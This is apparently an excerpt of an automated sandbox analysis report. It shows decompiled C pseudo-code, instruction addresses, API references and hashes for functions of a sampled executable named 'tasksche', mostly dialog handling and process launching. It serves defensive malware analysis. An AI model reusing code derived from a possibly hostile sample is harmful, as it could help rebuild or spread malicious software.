							 *(_t319 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t319 + 0xc) - 0xaa;
								if( *(_t319 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t319 + 0xc) - 0xab;
									if( *(_t319 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t319 - 0x9688, 0x42aae4);
										E0041A7C9(_t319 - 0x9688, E0040C3BF( *(_t319 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t319 + 0xc) =  *(_t319 + 0xc) + 1;
								__eflags =  *(_t319 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							E00419A9D( *0x438814, __eflags,  *0x4335a4,  *(_t319 + 0x14), _t319 - 0x9688, 0, 0);
							_t304 = 1;
							__eflags = 1;
							goto L114;
						} else {
							E0040E857(_t317, _t317,  *0x44184c, 0); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									E00419A9D( *0x438814, __eflags,  *0x4335a4,  *(_t319 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t304, _t317, __eflags);
								}
							}
							__eflags =  *0x441874 - _t304;
							if( *0x441874 == _t304) {
								L102:
								E0040E857(_t317, _t317,  *0x44184c, _t304);
								goto L103;
							} else {
								 *0x42a308(_t317);
								__eflags =  *0x441874 - _t304;
								if( *0x441874 == _t304) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 =  *0x42a318( *0x4335a4, 0x42aacc, 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								 *0x42a32c(_t317, _t304);
								L125:
								_t128 = _t304;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t319 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t309 = 0x800;
							 *0x42a330(_t317, 0x66, _t319 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 =  *0x42a2b4(_t317, 0x68);
									 *(_t319 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										_t314 =  *0x42a33c;
										 *_t314(_t164, 0xb1, 0, 0xffffffff);
										 *_t314( *(_t319 + 0xc), 0xc2, 0, 0x42a73c);
										_t309 = 0x800;
									}
									 *0x42a320( *(_t319 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t319 - 0x1164, _t319 - 0x2164, _t309);
										E0040DD7E(_t319, _t319 - 0x1164, _t309);
										E0040BC16(_t319 - 0x3264, 0x880, E0040C3BF(0xb9), _t319 - 0x1164);
										_t321 = _t321 + 0x10;
										_t175 = _t319 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t317, _t319 - 0x2164); // executed
									}
									 *(_t319 + 0xf) = 0;
									_t178 = E0040935F(0, _t284, _t309, _t319 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t319 - 0x2164);
										 *(_t319 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t251 =  *0x42a258();
											__eflags = _t251 - 5;
											if(_t251 == 5) {
												 *(_t319 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t319 + 0x13);
											if( *(_t319 + 0x13) != 0) {
												_t304 = 1;
												 *0x441834 = 1;
												E004060C9(_t317, 0x67, 0);
												E004060C9(_t317, 0x66, 0);
												SetDlgItemTextW(_t317, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t317, 0x69, 1);
												SetDlgItemTextW(_t317, 0x65, 0x42a73c); // executed
												_t187 =  *0x42a2b4(_t317, 0x65);
												 *(_t319 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 =  *0x42a370(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													 *0x42a2b8( *(_t319 + 0xc), 0xfffffff0, _t201);
												}
												E0040E857(_t317, _t317,  *0x44184c, 5);
												E0040E857(_t317, _t317,  *0x44184c, 2);
												_push(0x439820);
												_push(_t317);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t284, _t300, __eflags); // executed
												 *0x44ef31 = 0;
												E0040E857(_t317, _t317,  *0x44184c, 6);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															E0040E857(_t317, _t317,  *0x44184c, 4);
														}
													}
												}
												E004060AB(_t317, _t304, _t304);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t317, _t304, E0040C3BF(0x90)); // executed
												_t195 =  *0x4335ac;
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t283 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t283 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t317, E0040C3BF(_t283), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t319 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t319 + 0x13);
											if( *(_t319 + 0x13) == 0) {
												L50:
												__eflags =  *(_t319 + 0xf);
												 *(_t319 + 0xf) =  *(_t319 + 0xf) == 0;
												__eflags =  *(_t319 + 0xf);
												if( *(_t319 + 0xf) != 0) {
													L64:
													E0040BC16(_t319 - 0x4664, 0xa00, 0x42aae8, _t319 - 0x2164);
													E004062BA(0x4335ac, 1);
													 *0x42a30c(_t317, _t319 - 0x4664, E0040C3BF(0x96), 0x30, E0040C3BF(0x9a));
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													 *0x42a32c(_t317);
													goto L67;
												}
												 *0x42a084(0, _t319 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t319 - 0x164, 0x80);
												E0040BC16(_t319 - 0x9ca0, 0x230c, 0x42ab38, _t319 - 0x2164);
												_t321 = _t321 + 0x18;
												 *((intOrPtr*)(_t319 - 0x38)) = _t319 - 0x1164;
												 *((intOrPtr*)(_t319 - 0x48)) = 0x3c;
												 *((intOrPtr*)(_t319 - 0x44)) = 0x40;
												 *(_t319 - 0x40) = _t317;
												 *((intOrPtr*)(_t319 - 0x3c)) = 0x42aaf8;
												 *((intOrPtr*)(_t319 - 0x34)) = _t319 - 0x9ca0;
												 *((intOrPtr*)(_t319 - 0x30)) = 0x42a664;
												 *(_t319 - 0x2c) = 1;
												 *((intOrPtr*)(_t319 - 0x28)) = 0;
												_t223 =  *0x42a0e0(0xffffffff, 0, 0x8000004, 0, 0x7002, 0x42ab04, _t319 - 0x164, 0x44287a);
												 *(_t319 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t236 =  *0x42a0dc();
													__eflags = _t236;
													if(_t236 != 0) {
														E00410B9C(0x43a822, _t236, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t319 + 0x14) =  *0x42a0d8( *(_t319 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t317, _t240, 0x43a820, 0x7002);
													_t321 = _t321 + 0xc;
												}
												_t225 =  *0x42a298(_t319 - 0x48);
												E0040CFA3(_t319 - 0x164, 0x80);
												E0040CFA3(_t319 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t319 + 0xf) = 1;
													goto L61;
												} else {
													 *0x42a310( *(_t319 - 0x10), 0x2710);
													_t313 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t319 + 0x14));
														if( *( *(_t319 + 0x14)) != 0) {
															break;
														}
														 *0x42a0d4(0x64);
														_t313 = _t313 + 1;
														__eflags = _t313 - 0x64;
														if(_t313 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t319 - 0x10);
													L61:
													__eflags =  *(_t319 + 0x10);
													if( *(_t319 + 0x10) != 0) {
														 *0x42a0d0( *(_t319 + 0x14));
														 *0x42a250( *(_t319 + 0x10));
													}
													__eflags =  *(_t319 + 0xf);
													if( *(_t319 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t319 - 0x1164, _t309, 0x42ab74,  *0x42a0e4());
											_t321 = _t321 + 0x10;
											E00408786(_t319 - 0x5688);
											 *(_t319 - 4) = 0;
											_t248 = E00408923(_t319 - 0x5688, _t319 - 0x1164, 0x11); // executed
											 *(_t319 + 0x13) = _t248;
											__eflags = _t248;
											if(_t248 == 0) {
												_t250 =  *0x42a258();
												__eflags = _t250 - 5;
												if(_t250 == 5) {
													 *(_t319 + 0xf) = 1;
												}
											}
											_t42 = _t319 - 4;
											 *_t42 =  *(_t319 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t284 = _t319 - 0x5688;
											E00408C7D(0, _t319 - 0x5688);
											goto L47;
										}
									} else {
										_t252 =  *0x42a258();
										__eflags = _t252 - 5;
										if(_t252 == 5) {
											L37:
											 *(_t319 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t252 - 3;
										if(_t252 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t304 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t257 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t257;
							 *0x44ef30 = _t257;
							 *0x42a334(_t317, 1, E0040C3BF((0 | _t257 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t261 =  *0x42a344(_t319 - 0x64, 0, 0, 0);
								__eflags = _t261;
								if(_t261 == 0) {
									break;
								} else {
									_t263 =  *0x42a2fc(_t317, _t319 - 0x64);
									__eflags = _t263;
									if(_t263 == 0) {
										 *0x42a348(_t319 - 0x64);
										 *0x42a34c(_t319 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t268 = _t161 - 1;
					__eflags = _t268;
					if(_t268 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t268 == 0x65;
					if(_t268 == 0x65) {
						_t272 = E004050E8(_t317, E0040C3BF(0x64), _t319 - 0x1164); // executed
						__eflags = _t272;
						if(_t272 != 0) {
							SetDlgItemTextW(_t317, 0x66, _t319 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t319 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc51
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f72d
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb2c
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb59
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

@, xrefs: 0040F935
<, xrefs: 0040F92E
z8D, xrefs: 0040F8D5

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: <$@$z8D
API String ID: 3519838083-645522348
Opcode ID: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: 5390635a82d40dd247dc332e133fe5e3a78f65614b9a33f3b952f72cb076c8e5
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040FEF0 Relevance: 10.7, APIs: 7, Instructions: 189
windowcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E0040FEF0(void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v12;
				signed short _v14;
				signed short _v16;
				signed short _v18;
				signed short _v20;
				signed short _v22;
				signed short _v26;
				signed short _v28;
				intOrPtr _v40;
				char _v72;
				intOrPtr _v84;
				char _v116;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HICON__* _t44;
				struct HBITMAP__* _t45;
				struct HBITMAP__* _t59;
				intOrPtr _t61;
				intOrPtr _t63;
				intOrPtr _t74;
				void* _t80;
				void* _t94;
				void* _t95;
				void* _t96;
				struct HINSTANCE__* _t98;
				char* _t101;
				void* _t102;
				intOrPtr* _t105;
				void* _t107;
				void* _t108;
				void* _t109;

				_t94 = __edx;
				E00410E1C();
				 *0x42a384(0, 1, _t95, _t102, _t80); // executed
				E00411F56(0x44f5b0);
				E0041A820(_t95, 0x43a820, 0, 0x7002);
				_t109 = _t108 + 0xc;
				_t96 =  *0x42a0dc();
				_t112 = _t96;
				if(_t96 != 0) {
					E0040D64B(_t112, _t96);
					if( *0x441879 == 0) {
						E0040D5F7(__eflags, _t96); // executed
					} else {
						_t74 =  *0x42a0ec(0xf001f, 0, 0x42ab04);
						_v8 = _t74;
						if(_t74 != 0) {
							_t101 =  *0x42a0d8(_t74, 0xf001f, 0, 0, 0x7002);
							_t115 = _t101;
							if(_t101 != 0) {
								E0041C290(0, _t101, 0x7002, 0x43a820, _t101, 0x7002);
								_t109 = _t109 + 0xc;
								 *_t101 = 1;
								E0040D5F7(_t115, 0x43a822);
							}
							 *0x42a0d0(_t101);
						}
						 *0x42a250(_v8);
					}
				}
				 *0x42a084(0, 0x439820, 0x800);
				SetEnvironmentVariableW(0x42ac1c, 0x439820); // executed
				 *0x42a0e8( &_v28);
				E0040BC16( &_v216, 0x32, 0x42abd8, _v28 & 0x0000ffff);
				 *((intOrPtr*)( *0x42a0a8))(0x42abc4,  &_v216, _v26 & 0x0000ffff, _v22 & 0x0000ffff, _v20 & 0x0000ffff, _v18 & 0x0000ffff, _v16 & 0x0000ffff, _v14 & 0x0000ffff);
				_t98 =  *0x42a08c(0);
				 *0x4335a4 = _t98;
				 *0x4335a8 = _t98; // executed
				_t44 = LoadIconW(_t98, 0x64); // executed
				 *0x43981c = _t44; // executed
				_t45 = LoadBitmapW( *0x4335a8, 0x65); // executed
				 *0x439818 = _t45; // executed
				E0041A060( &_v12); // executed
				E0040C3A8(0x4335bc, _t94, _t107, 0x439820);
				E00419137( &_v116);
				E00419137( &_v72);
				_v84 = E00419DD0(0x64);
				_v40 = E00419DD0(0x64);
				 *0x438814 =  &_v116;
				 *0x438810 =  &_v72; // executed
				DialogBoxParamW(_t98, 0x42abb0, 0, E0040F58D, 0); // executed
				 *0x438810 = 0;
				 *0x438814 = 0;
				E0041915C( &_v72);
				E0041915C( &_v116);
				E0041A0BA();
				if( *0x441870 != 0) {
					E0040D896(_t98);
				}
				E0040D0FE(0x44ce20);
				_t117 =  *0x441858;
				if( *0x441858 > 0) {
					_push( *0x44184c);
					E0041A506(0, _t98, 0x439820, _t117);
				}
				_t105 =  *0x42a05c;
				 *_t105( *0x43981c);
				_t59 =  *0x439818;
				if(_t59 != 0) {
					 *_t105(_t59);
				}
				if( *0x4335ac == 0 &&  *0x44183c != 0) {
					E004062BA(0x4335ac, 0xff);
				}
				_t60 =  *0x441868;
				 *0x44183c = 1;
				if( *0x441868 != 0) {
					E0040D857(_t60);
					 *0x42a250( *0x441868);
				}
				_t61 =  *0x441864;
				if(_t61 != 0) {
					 *0x42a0d4(_t61);
				}
				 *0x42a388();
				_t63 =  *0x441860;
				if(_t63 > 0) {
					return _t63;
				} else {
					return  *0x4335ac;
				}
			}

0x0040fef0
0x0040fefe
0x0040ff06
0x0040ff11
0x0040ff22
0x0040ff27
0x0040ff30
0x0040ff32
0x0040ff34
0x0040ff37
0x0040ff42
0x0040ff9d
0x0040ff44
0x0040ff50
0x0040ff56
0x0040ff5b
0x0040ff68
0x0040ff6a
0x0040ff6c
0x0040ff75
0x0040ff7a
0x0040ff82
0x0040ff85
0x0040ff85
0x0040ff8b
0x0040ff8b
0x0040ff94
0x0040ff94
0x0040ff42
0x0040ffae
0x0040ffc0
0x0040ffc6
0x0040fffd
0x00410011
0x0041001a
0x0041001f
0x00410025
0x0041002b
0x00410039
0x0041003e
0x00410047
0x0041004c
0x00410057
0x0041005f
0x00410067
0x00410075
0x00410083
0x0041008a
0x00410098
0x0041009d
0x004100a6
0x004100ac
0x004100b2
0x004100ba
0x004100c2
0x004100cd
0x004100cf
0x004100cf
0x004100d9
0x004100de
0x004100e4
0x004100e6
0x004100ec
0x004100f1
0x004100f8
0x004100fe
0x00410100
0x00410107
0x0041010a
0x0041010a
0x00410112
0x00410126
0x00410126
0x0041012b
0x00410130
0x00410139
0x0041013c
0x00410147
0x00410147
0x0041014d
0x00410154
0x00410157
0x00410157
0x0041015d
0x00410163
0x0041016d
0x00410175
0x0041016f
0x00000000
0x0041016f

APIs

OleInitialize.OLE32(00000000,00000001), ref: 0040FF06
_memset.LIBCMT ref: 0040FF22
SetEnvironmentVariableW.KERNELBASE(0042AC1C,00439820), ref: 0040FFC0
_swprintf.LIBCMT ref: 0040FFFD
LoadIconW.USER32(00000000,00000064), ref: 0041002B
LoadBitmapW.USER32(00000065), ref: 0041003E
DialogBoxParamW.USER32(00000000,0042ABB0,00000000,0040F58D,00000000,00000064,00000064,00439820), ref: 0041009D

Part of subcall function 0040D5F7: SetEnvironmentVariableW.KERNELBASE(0042A868,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentLoadVariable$BitmapDialogIconInitializeParam_memset_swprintf
String ID:
API String ID: 77873662-0
Opcode ID: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction ID: f6d524faf13461bd4ea8cb5a97d50562f0dad5b6822c88fd20d602f5543b7383
Opcode Fuzzy Hash: 80a7e11a645b2e2d2aca1507ec210b481b2238b003543a9d3cc58b98ec170c2c
Instruction Fuzzy Hash: 5061D971A00205BFC720BFA1DC499AE7BB8EB05314F50443BF901A22A1DB7D4D95DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(0x429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
